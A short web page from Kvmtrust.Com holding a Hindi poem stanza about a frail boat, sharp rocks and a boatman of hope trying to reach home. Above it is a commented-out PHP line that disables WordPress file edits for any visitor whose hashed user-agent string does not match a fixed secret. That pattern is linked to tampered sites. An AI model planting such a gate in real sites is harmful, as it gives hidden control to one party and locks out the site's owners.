//if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ // define('DISALLOW_FILE_MODS', true); // define('DISALLOW_FILE_EDIT', true); }
नैय्या है कमज़ोर और लहरें आई है ऊपर , धारा में है तेज़ नुकीली चट्टानें-पत्थर। घाट पे नर्तन करती पीड़ा, घुंगरुं उसके छनकें , आशाओं का मांझी , बोलो कैसे पहुँचे घर ||
Copyright Kvmtrust.Com